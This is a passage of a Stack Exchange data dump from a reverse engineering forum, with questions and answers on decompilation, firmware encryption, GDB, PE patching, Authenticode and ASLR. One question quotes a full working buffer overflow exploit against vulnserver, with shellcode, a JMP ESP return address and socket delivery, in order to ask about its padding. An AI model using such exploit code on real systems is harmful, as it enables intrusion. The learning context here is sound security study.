8d 67 72 c6 66 b4 1d 6a&#xA;3881 : 4d da 8b 4f 72 cd 4e b0 06 69 71 06 4e b1 06 4e b1 2e&#xA;3955 : 4d d4 14 6b 72 dd 6b b2 46 6a b4 22 65 74 22 65 74&#xA;4095 : 6a b1 22 6b 72 dc 6b b4 cd 4c&#xA;4205 : 6a b0 06 6b 72 d4 69 d8 dc 64&#xA;4274 : 6a b0 30 68 a2 dc 4d d1 06 4e&#xA;4444 : 6a b2 6e 68 a2 dc 4e be a2 68&#xA;4602 : 6a b9 06 4c 22 c6 69 71 30 68&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am certain that there is only one input variable to this encoding; the same input always gives the same output across changes of all possibly relevant variables.&lt;/p&gt;&#xA;&lt;p&gt;This encoding is invertible; sending the encoded string to the server gets a response of the decoded score (if the decoded score is higher than the last one you submitted). Corollarily, we have an oracle.&lt;/p&gt;&#xA;&lt;p&gt;What I'm having a hard time with is that the output length is variable in a non-monotonic way and is somewhat longer than the input.&lt;/p&gt;&#xA;&lt;p&gt;For most particular score values, it is difficult to play in such a way to earn that score precisely, but  if more pairs are needed to disambiguate, I can earn scores in an approximate range. (Otherwise I would surely have tried to earn the scores 1, 2, 3, etc.)&lt;/p&gt;&#xA;" OwnerUserId="33905" LastEditorUserId="33905" LastEditDate="2020-08-13T08:17:29.000" LastActivityDate="2020-08-13T08:17:29.000" Title="What kind of integer obfuscation is this?" Tags="|file-format|unpacking|encodings|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25664" PostTypeId="1" AcceptedAnswerId="25665" CreationDate="2020-08-13T04:55:40.200" Score="2" ViewCount="1105" Body="&lt;p&gt;I have seen a lot of videos where everyone is decompiling the jar files so easily. but I learnt that we cannot decompile any compiled file so easily. I have a little bit of experience in Gidhra. I have analyzed some C compiled binaries. the C compiled binaries aren't that easy to decompile, I have seen it myself. but how does java decompilation works? tools just extract all source code written in it. you can take this video as an example, &lt;a href=&quot;https://www.youtube.com/watch?v=3bvKLj0akMM&quot; rel=&quot;nofollow noreferrer&quot;&gt;Youtube IPPSEC&lt;/a&gt;&#xA;Please tell me the difference between C and Java compiled files decompilation.&lt;/p&gt;&#xA;" OwnerUserId="33863" LastActivityDate="2020-08-13T05:45:27.260" Title="How do we decompile java so easy?" Tags="|binary-analysis|decompilation|c|java|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25665" PostTypeId="2" ParentId="25664" CreationDate="2020-08-13T05:45:27.260" Score="4" Body="&lt;p&gt;In short, the difference is in the format into which Java and native code are compiled and executed. Compilation into native code formats eliminates from resulting executable a lot of information that Java code keeps by design, including, but not limited to the following list:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Class names&lt;/li&gt;&#xA;&lt;li&gt;Method names&lt;/li&gt;&#xA;&lt;li&gt;Properties names and types&lt;/li&gt;&#xA;&lt;li&gt;Methods borders&lt;/li&gt;&#xA;&lt;li&gt;Exact exception definitions&lt;/li&gt;&#xA;&lt;li&gt;Class structure&lt;/li&gt;&#xA;&lt;li&gt;So called &lt;a href=&quot;https://en.wikipedia.org/wiki/Java_bytecode_instruction_listings&quot; rel=&quot;nofollow noreferrer&quot;&gt;bytecode&lt;/a&gt; code of the methods in language which is very easy to understand and decompile because it is reference-based language and contains exact signatures of other called methods by design&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The more we know about the code, the easier it is for us to understand (and decompile) it.&lt;/p&gt;&#xA;&lt;p&gt;Java code is executed in Java Virtual Machine (JVM). Native code is executed on the processor directly.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Java_virtual_machine&quot; rel=&quot;nofollow noreferrer&quot;&gt;JVM&lt;/a&gt; is executing &lt;a href=&quot;https://en.wikipedia.org/wiki/JAR_(file_format)&quot; rel=&quot;nofollow noreferrer&quot;&gt;.jar&lt;/a&gt; files.&#xA;.jar files are zip archives that contain &lt;a href=&quot;https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;.class&lt;/a&gt; files with definitions of classes.&#xA;This format is defined &lt;a href=&quot;https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and we can find in the referenced document everything that class file contains. Most of information we know about java bytecode is lost during  the native code compilation.&lt;/p&gt;&#xA;&lt;p&gt;If you want to understand a bit more about java classes internals I'd suggest you to write some simple java class, compile it and then disassemble it with &lt;a href=&quot;https://docs.oracle.com/javase/7/docs/technotes/tools/windows/javap.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;javap&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2020-08-13T05:45:27.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25666" PostTypeId="2" ParentId="25640" CreationDate="2020-08-13T08:54:29.310" Score="0" Body="&lt;p&gt;@born brings up some great points, but I do think it's definitely worth saying there's not much inherently &lt;em&gt;impossible&lt;/em&gt; about the whole idea. Compiling and grabbing assembly is likely not the best bet, though.&lt;/p&gt;&#xA;&lt;p&gt;Passing the entire thing off as impossible is just not right. IDA clearly has potential in the area; Select psuedocode and click &amp;quot;Copy to Assembly&amp;quot;. It'll generate comments in the assembly that map it to where the psuedocode functions come from.&lt;/p&gt;&#xA;&lt;p&gt;Here's a comparison of the three different relevant phases of a program; source, psuedocode, and ASM:&lt;/p&gt;&#xA;&lt;p&gt;Source (&lt;code&gt;clang -w -o test&lt;/code&gt;) :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int main(void)&#xA;{&#xA;  printf(&amp;quot;hello world&amp;quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note the incorrect, but functional, use of &lt;code&gt;printf(&amp;quot;string&amp;quot;)&lt;/code&gt; instead of &lt;code&gt;printf(&amp;quot;%s&amp;quot;, &amp;quot;string&amp;quot;)&lt;/code&gt;. This is another debate, but it'll screw up decompilation&lt;/p&gt;&#xA;&lt;p&gt;Decompilation By IDA (psuedocode):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)&#xA;{&#xA;  printf(&amp;quot;hello world&amp;quot;, argv, envp);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is just wrong. printf won't accept those values, it's expecting 0 extra arguments due to a lack of formatting &amp;quot;%s&amp;quot; strings in &amp;quot;hello world&amp;quot;. A simple mistake has screwed up the psuedocode output.&lt;/p&gt;&#xA;&lt;p&gt;Disassembly by IDA (note some of these instructions might not be right)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push    rbp&#xA;mov     rbp, rsp&#xA;sub     rsp, 10h&#xA;; 2:   printf(&amp;quot;hello world&amp;quot;, argv, envp);&#xA;lea     rdi, aHelloWorld ; &amp;quot;hello world&amp;quot;&#xA;mov     al, 0&#xA;call    _printf&#xA;; 3:   return 0;&#xA;xor     ecx, ecx&#xA;mov     [rbp+var_4], eax&#xA;mov     eax, ecx&#xA;add     rsp, 10h&#xA;pop     rbp&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Let's say you wanted to edit the string:&lt;br /&gt;&#xA;Sure, just edit the place it references. Oh, but you want one longer than 11 characters, so you'll need to find somewhere unused and map the string pointer to that address instead. That's complicated.&lt;/p&gt;&#xA;&lt;p&gt;The entire executable section of the program is 12 instructions long, too. You have almost no space to change anything, and &lt;em&gt;adding&lt;/em&gt; stuff is an entirely different ballgame.&lt;/p&gt;&#xA;&lt;p&gt;Likely Reasons it hasn't been done&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One huge hangup is how unreliable psuedocode can be at times. Compare Hopper psuedocode to IDA/Ghidra's sometime for a great example. It's an educated guess, not a reliable one. Some don't even create variables, and trying to compile Hopper psuedocode is a waste of time.&lt;/li&gt;&#xA;&lt;li&gt;Most people needing to patch a binary want or need to patch the assembly. ASM works differently than C, and when you're patching, you need to be thinking more about how the assembly works than the C code that was used to create it.&lt;/li&gt;&#xA;&lt;li&gt;Most of the decompilers I know of are already fairly bad at patching assembly alone. An extremely basic hex editor does a much better job. IDA will give you a headache trying to patch more than 4 bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I don't think it's anywhere near impossible though. Not by compiling for sure. But what you &lt;em&gt;could&lt;/em&gt; try, is something like these:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Track how the decompiler was able to map &amp;lt;x assembly&amp;gt; to &amp;lt;y psuedocode&amp;gt;, and whenever &amp;lt;y psuedocode&amp;gt; is changed, create binary patches for the &amp;lt;x assembly&amp;gt; that created it.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is arguably the &amp;quot;best&amp;quot; way to do it and will take a long time to write.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Replace a function call with a branch to your own code elsewhere (assuming space can be found). &amp;quot;Cheat Engine&amp;quot; (it's been a while since I've used windows, sorry) had something like this if I remember correctly. Maybe use a compiler to generate &lt;em&gt;that&lt;/em&gt; function, then.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is the lazy way to do it, and might end up taking even more work making decompiler output compilable. Only IDA/Ghidra decompilation is close enough to be feasible. I've done this manually before.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Both of these require an understanding of assembly to verify the patches were correct; A wrong one will grind your program to a halt, and no tool doing this will be reliably correct.&lt;/p&gt;&#xA;&lt;p&gt;#2 still has flaws. I've spent 2+ hours perfecting decompilation/disassembly on a single function; everything in memory properly named, manually defined every struct, etc. Even with perfect decompilation, it still needs work to be compiled.&lt;/p&gt;&#xA;&lt;p&gt;Maybe you could do that work yourself in some complex script. This is a problem I'd recommend revisiting when you're experienced; it's a really interesting topic, and IDAPython might make it almost feasible.&lt;/p&gt;&#xA;" OwnerUserId="32829" LastEditorUserId="32829" LastEditDate="2020-08-13T09:18:34.320" LastActivityDate="2020-08-13T09:18:34.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25667" PostTypeId="1" CreationDate="2020-08-13T10:01:28.427" Score="2" ViewCount="795" Body="&lt;p&gt;I'm relatively new to firmware reverse engineering but it has been a very interesting journey, loved it!&lt;/p&gt;&#xA;&lt;p&gt;I am currently trying to crack open the firmware of my Panasonic Lumix DC-G9 camera to see if I can bypass a recording limit. However, it seems like they did a great job of encrypting the firmware.&lt;/p&gt;&#xA;&lt;p&gt;You can download the .bin firmware file &lt;a href=&quot;https://av.jpn.support.panasonic.com/support/share2/eww/com/dsc/fts/zip/G9___V22.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I tried Binwalk, but the output only shows one entry, which might be a false positive:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;26453361      0x193A571       gzip compressed data, has header CRC, has 28967 bytes of extra data, last modified: 2052-10-14 16:14:25 (bogus date)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried extracting that, but &lt;code&gt;gunzip&lt;/code&gt; only reports that the header checksum is not equal to the computed checksum. So could still be a false positive.&lt;/p&gt;&#xA;&lt;p&gt;I also tried to plot out the entropy of the firmware:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YTYq3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YTYq3.png&quot; alt=&quot;Entropy plot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Seems encrypted to me? Next step was to check if I could read any hints of the basic &lt;code&gt;strings&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MC471&#xA;panasonic&#xA;MC471&#xA;loader1&#xA;loader2&#xA;loader3&#xA;program&#xA;storage&#xA;postboot1&#xA;postboot2&#xA;postboot3&#xA;postboot4&#xA;postboot5&#xA;dram_sleep&#xA;eep_ow_a&#xA;eep_ow_b&#xA;eep_adj&#xA;eep_fix&#xA;music&#xA;osdover&#xA;osddata&#xA;koutei_kao&#xA;avchd_info&#xA;eep_net_a&#xA;eep_net_b&#xA;eep_act_a&#xA;eep_act_b&#xA;zboot&#xA;zimage&#xA;rootfs1&#xA;rootfs2&#xA;apu0_data_i&#xA;apu0_data_e&#xA;apu0_code_i&#xA;apu0_code_e&#xA;usbcharge&#xA;ipu_data&#xA;ipu_code&#xA;rc_data&#xA;rc_code&#xA;nr_data&#xA;nr_code&#xA;hm_c_prog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Seems like &lt;code&gt;zboot&lt;/code&gt; is the bootloader?&lt;/p&gt;&#xA;&lt;p&gt;Since I'm still pretty new, are there any hints on how I could progress on this? I really hope it's not cracking open the camera and trying to debug any hardware ROM which stores the keys!&lt;/p&gt;&#xA;" OwnerUserId="34130" LastActivityDate="2020-08-15T15:54:55.287" Title="Encrypted firmware, need some hints" Tags="|firmware|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25668" PostTypeId="1" CreationDate="2020-08-13T15:33:48.123" Score="1" ViewCount="720" Body="&lt;p&gt;I am using &lt;code&gt;gdb-multiarch&lt;/code&gt; version 9.1 on Ubuntu to connect to a &lt;code&gt;qemu-mipsel-static&lt;/code&gt; version 4.2.0 running a MIPS application which daemonizes itself with &lt;code&gt;fork()&lt;/code&gt;, and which is running the built-in &lt;code&gt;gdbserver&lt;/code&gt;. Here is the relevant GDB output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoint 5, 0x7f5bb874 in daemon () from ./lib/libc.so.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The next instruction is &lt;code&gt;jalr&lt;/code&gt; to &lt;code&gt;fork&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) si&#xA;0x7f5738e0 in fork () from ./lib/libc.so.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now we are in &lt;code&gt;fork()&lt;/code&gt;, let's check the state of &lt;code&gt;follow-fork-mode&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) show follow-fork-mode &#xA;Debugger response to a program call of fork or vfork is &amp;quot;child&amp;quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Everything looks good, let's finish the function and check our return value&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) finish&#xA;Run till exit from #0  0x7f5738e0 in fork () from ./lib/libc.so.0&#xA;0x7f5bb87c in daemon () from ./lib/libc.so.0&#xA;(gdb) p $v0&#xA;$7 = 119052&#xA;(gdb) # what&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The PID indicates we are still attached to the parent process&lt;/p&gt;&#xA;" OwnerUserId="27709" LastActivityDate="2020-08-16T15:24:12.763" Title="GDBserver on Qemu not honoring &quot;follow-fork-mode child&quot;" Tags="|gdb|mips|qemu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25669" PostTypeId="1" CreationDate="2020-08-13T17:44:36.080" Score="2" ViewCount="1819" Body="&lt;p&gt;Sorry if it is a very basic question/bad place to ask/for my bad english.&lt;/p&gt;&#xA;&lt;p&gt;I'm using Ghidra to patch instructions inside the binary of a game. Most of the time I could find some undefined bytes somewhere where I could jump to and insert the new instructions, then jump back to where I was. But it turns out I now need more space than what is available as undefined memory in the program. I've tried to add some bytes at the end of the project inside Ghidra but it doesn't seem possible at all (only editing is possible?), can someone confirm this?&lt;/p&gt;&#xA;&lt;p&gt;I feel like I could probably add those bytes manually inside the executable with HexEdit, then reimport the exe inside Ghidra and reanalyze it, but it sounds like bad practice?&lt;/p&gt;&#xA;&lt;p&gt;I'm interested in knowing how people usually go about this since I'm still a beginner and I'm eager to learn. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="34134" LastActivityDate="2022-01-09T23:07:50.777" Title="I want to insert instructions but don't have enough space to do so" Tags="|assembly|ghidra|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25672" PostTypeId="1" CreationDate="2020-08-14T11:55:15.103" Score="3" ViewCount="267" Body="&lt;p&gt;I  was doing vulnserver bufferflow exploit. I saw a tutorial where the he makes a payload to exploit the server.&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the exploit:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;&#xA;import socket&#xA;&#xA;&#xA;target_ip = &amp;quot;10.0.2.4&amp;quot;&#xA;&#xA;port = 9999&#xA;&#xA;&#xA;shellcode =  &amp;quot;&amp;quot;&#xA;shellcode += &amp;quot;\xda\xcd\xbf\x6f\x21\x1b\xab\xd9\x74\x24\xf4\x58\x2b&amp;quot;&#xA;shellcode += &amp;quot;\xc9\xb1\x52\x31\x78\x17\x83\xc0\x04\x03\x17\x32\xf9&amp;quot;&#xA;shellcode += &amp;quot;\x5e\x1b\xdc\x7f\xa0\xe3\x1d\xe0\x28\x06\x2c\x20\x4e&amp;quot;&#xA;shellcode += &amp;quot;\x43\x1f\x90\x04\x01\xac\x5b\x48\xb1\x27\x29\x45\xb6&amp;quot;&#xA;shellcode += &amp;quot;\x80\x84\xb3\xf9\x11\xb4\x80\x98\x91\xc7\xd4\x7a\xab&amp;quot;&#xA;shellcode += &amp;quot;\x07\x29\x7b\xec\x7a\xc0\x29\xa5\xf1\x77\xdd\xc2\x4c&amp;quot;&#xA;shellcode += &amp;quot;\x44\x56\x98\x41\xcc\x8b\x69\x63\xfd\x1a\xe1\x3a\xdd&amp;quot;&#xA;shellcode += &amp;quot;\x9d\x26\x37\x54\x85\x2b\x72\x2e\x3e\x9f\x08\xb1\x96&amp;quot;&#xA;shellcode += &amp;quot;\xd1\xf1\x1e\xd7\xdd\x03\x5e\x10\xd9\xfb\x15\x68\x19&amp;quot;&#xA;shellcode += &amp;quot;\x81\x2d\xaf\x63\x5d\xbb\x2b\xc3\x16\x1b\x97\xf5\xfb&amp;quot;&#xA;shellcode += &amp;quot;\xfa\x5c\xf9\xb0\x89\x3a\x1e\x46\x5d\x31\x1a\xc3\x60&amp;quot;&#xA;shellcode += &amp;quot;\x95\xaa\x97\x46\x31\xf6\x4c\xe6\x60\x52\x22\x17\x72&amp;quot;&#xA;shellcode += &amp;quot;\x3d\x9b\xbd\xf9\xd0\xc8\xcf\xa0\xbc\x3d\xe2\x5a\x3d&amp;quot;&#xA;shellcode += &amp;quot;\x2a\x75\x29\x0f\xf5\x2d\xa5\x23\x7e\xe8\x32\x43\x55&amp;quot;&#xA;shellcode += &amp;quot;\x4c\xac\xba\x56\xad\xe5\x78\x02\xfd\x9d\xa9\x2b\x96&amp;quot;&#xA;shellcode += &amp;quot;\x5d\x55\xfe\x39\x0d\xf9\x51\xfa\xfd\xb9\x01\x92\x17&amp;quot;&#xA;shellcode += &amp;quot;\x36\x7d\x82\x18\x9c\x16\x29\xe3\x77\x13\xae\xe9\x82&amp;quot;&#xA;shellcode += &amp;quot;\x4b\xac\xed\xaf\xa2\x39\x0b\xc5\xa4\x6f\x84\x72\x5c&amp;quot;&#xA;shellcode += &amp;quot;\x2a\x5e\xe2\xa1\xe0\x1b\x24\x29\x07\xdc\xeb\xda\x62&amp;quot;&#xA;shellcode += &amp;quot;\xce\x9c\x2a\x39\xac\x0b\x34\x97\xd8\xd0\xa7\x7c\x18&amp;quot;&#xA;shellcode += &amp;quot;\x9e\xdb\x2a\x4f\xf7\x2a\x23\x05\xe5\x15\x9d\x3b\xf4&amp;quot;&#xA;shellcode += &amp;quot;\xc0\xe6\xff\x23\x31\xe8\xfe\xa6\x0d\xce\x10\x7f\x8d&amp;quot;&#xA;shellcode += &amp;quot;\x4a\x44\x2f\xd8\x04\x32\x89\xb2\xe6\xec\x43\x68\xa1&amp;quot;&#xA;shellcode += &amp;quot;\x78\x15\x42\x72\xfe\x1a\x8f\x04\x1e\xaa\x66\x51\x21&amp;quot;&#xA;shellcode += &amp;quot;\x03\xef\x55\x5a\x79\x8f\x9a\xb1\x39\xaf\x78\x13\x34&amp;quot;&#xA;shellcode += &amp;quot;\x58\x25\xf6\xf5\x05\xd6\x2d\x39\x30\x55\xc7\xc2\xc7&amp;quot;&#xA;shellcode += &amp;quot;\x45\xa2\xc7\x8c\xc1\x5f\xba\x9d\xa7\x5f\x69\x9d\xed&amp;quot;&#xA;&#xA;payload =&amp;quot;TRUN /.:/&amp;quot;&#xA;payload += 2003 * &amp;quot;A&amp;quot; #junk&#xA;payload += &amp;quot;\xc7\x11\x50\x62&amp;quot; # 0x625011c7 -&amp;gt; JMP ESP&#xA;payload += 40 * &amp;quot;\x90&amp;quot; #nopsled&#xA;payload += shellcode&#xA;payload += (5009 - len(payload)) * &amp;quot;C&amp;quot;&#xA;&#xA;&#xA;try:&#xA;        &#xA;    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;    s.connect((target_ip,port))&#xA;    s.send(payload)&#xA;    print &amp;quot;[+] &amp;quot; + str(len(payload)) + &amp;quot; Bytes Sent&amp;quot;&#xA;    &#xA;except:&#xA;    print &amp;quot;[-] Crashed&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can clearly understand that he made a padding(&amp;quot;A&amp;quot;*2003) to overwrite the stack. but I didn't understand the arithmetic operation he did in the following line.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;payload += (5009 - len(payload)) * &amp;quot;C&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;why does he have to do this. exploit is working without it. what is 5009 here?&#xA;Please tell me if you know. by the way, Article--&amp;gt; &lt;a href=&quot;https://bufferoverflows.net/exploiting-vanilla-buffer-overflow-in-vulnserver-trun-command/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33863" LastActivityDate="2020-08-20T08:17:46.473" Title="reason of padding in exploit" Tags="|disassembly|windows|python|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25673" PostTypeId="1" CreationDate="2020-08-14T17:44:28.627" Score="1" ViewCount="132" Body="&lt;p&gt;I'm starting to learn about reverse engineering and I'm currently encountering a problem with a game I'm trying to patch. I needed more space to insert instructions in my program so I followed the method described here: &lt;a href=&quot;https://stackoverflow.com/questions/35685589/how-do-i-make-space-for-my-code-cave-in-a-windows-pe-32bit-executable&quot;&gt;https://stackoverflow.com/questions/35685589/how-do-i-make-space-for-my-code-cave-in-a-windows-pe-32bit-executable&lt;/a&gt; and added a new section where I could put my new instructions. Then when I run the program, the instructions are properly executed, no crash happening.&lt;/p&gt;&#xA;&lt;p&gt;My issue is that when I'm launching the game, I get a popup asking if I want to &amp;quot;allow this app from an unknown publisher to make changes to your device&amp;quot;, which is annoying. If I display the &amp;quot;Details&amp;quot; tab in the properties of the file, most of the information (such as File Description, File version...) are missing when they were there before the patch. Is it an expected consequence of adding a new section at the end of the executable? It looks like those information are inside the .rsrc section.&#xA;And is there something I can do to fix it so I don't get the popup?&lt;/p&gt;&#xA;" OwnerUserId="34134" LastActivityDate="2020-08-15T08:25:41.820" Title="&quot;unknown publisher&quot; after adding new PE section" Tags="|pe|section|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25674" PostTypeId="2" ParentId="25673" CreationDate="2020-08-15T07:44:35.353" Score="2" Body="&lt;p&gt;By adding an additional section you have broken the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/install/authenticode&quot; rel=&quot;nofollow noreferrer&quot;&gt;Authenticode signature&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There is a great primer about how signatures work and are validated on &lt;a href=&quot;https://blog.trailofbits.com/2020/05/27/verifying-windows-binaries-without-windows/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog&lt;/a&gt;, which says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Integrity: Each Authenticode signature includes a cryptographic hash of the signed binary. This hash is compared against the binary’s in-memory representation at load time, preventing malicious modifications.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Technically it prevents &lt;em&gt;all&lt;/em&gt; modifications, not just malicious ones. Crucially, the Authenticode signature covers all data except (&lt;em&gt;also see Note 1&lt;/em&gt;):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The PE checksum.&lt;/li&gt;&#xA;&lt;li&gt;The certificate data directory entry.&lt;/li&gt;&#xA;&lt;li&gt;The certificate table (and signatures).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.reversinglabs.com/blog/breaking-the-windows-authenticode-security-model&quot; rel=&quot;nofollow noreferrer&quot;&gt;This article&lt;/a&gt; discusses various ways of potentially breaking the Authenticode model (but none are likely to help what you are trying to do).&lt;/p&gt;&#xA;&lt;p&gt;Authenticode is designed to stop what you are attempting: modifying the executable without providing a warning. Other runtime code injection techniques are not prevented (except perhaps in device drivers), so you could potentially modify the code in a different way.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Note 1 - The PE &amp;quot;overlay&amp;quot; was historically not covered, but see Microsoft's &lt;a href=&quot;https://msrc-blog.microsoft.com/2013/12/10/ms13-098-update-to-enhance-the-security-of-authenticode/&quot; rel=&quot;nofollow noreferrer&quot;&gt;details about MS13-098&lt;/a&gt; and &lt;a href=&quot;https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2014/2915720?redirectedfrom=MSDN&quot; rel=&quot;nofollow noreferrer&quot;&gt;security advisory 2915720&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3013" LastEditorUserId="3013" LastEditDate="2020-08-15T08:25:41.820" LastActivityDate="2020-08-15T08:25:41.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25675" PostTypeId="2" ParentId="25673" CreationDate="2020-08-15T08:04:32.517" Score="0" Body="&lt;p&gt;If changing the signature won't affect the game (i.e. no part of the game checks the publisher, which is rare) you can simply create your own certificate, install it and use it to resign the application after the changes. Alternatively, you can remove it.&lt;/p&gt;&#xA;&lt;p&gt;Authenticode signature is the cryptographic way to prove that the binaries haven't been tampered with after publishing. If you sign the application again, you become the publisher.&lt;/p&gt;&#xA;&lt;p&gt;You can start from &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/install/authenticode&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27706" LastActivityDate="2020-08-15T08:04:32.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25676" PostTypeId="2" ParentId="25672" CreationDate="2020-08-15T09:45:24.860" Score="1" Body="&lt;p&gt;The autor started with &lt;code&gt;5009&lt;/code&gt; bytes (&lt;code&gt;&amp;quot;TRUN /.:/&amp;quot; + 5000 * 'A'&lt;/code&gt;) so later when the actual shell code was added to the payload, the code (&lt;code&gt;(5009 - len(payload)) * &amp;quot;C&amp;quot;&lt;/code&gt;) is added to maintain the original length of the payload that caused the crash.&lt;/p&gt;&#xA;&lt;p&gt;If it works without - great, but why add additional variable/unknown to the pwning equation if you know that this length (&lt;code&gt;5009&lt;/code&gt;) of data does work.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2020-08-20T08:17:46.473" LastActivityDate="2020-08-20T08:17:46.473" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25677" PostTypeId="1" CreationDate="2020-08-15T10:49:44.123" Score="2" ViewCount="371" Body="&lt;p&gt;I am quite new in binary exploitation. I am doing a lot of beginners exercise here. I am confused about ASLR. I tried some binary exploitation thing in Linux. It was recommended that I should stop ASLR in Linux before analyzing the binary.&#xA;it is the command for that --&amp;gt; &lt;code&gt;echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&lt;/code&gt;&#xA;Am I right here? am I turning off my ASLR (randomizing stack addresses)?&lt;/p&gt;&#xA;&lt;p&gt;But When I did the Windows 10 binary exploitation(vulnserver). I had to put my payload into stack address. And I noticed that the stack address (&lt;code&gt;jmp esp&lt;/code&gt;) was constant, not changing.&#xA;Is ASLR works differently in various OS?&#xA;I don't know If I am asking a write question. please tell me if you know.&lt;/p&gt;&#xA;" OwnerUserId="33863" LastActivityDate="2021-05-20T18:56:39.120" Title="ASLR in Linux Vs Windows" Tags="|disassembly|windows|linux|stack|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
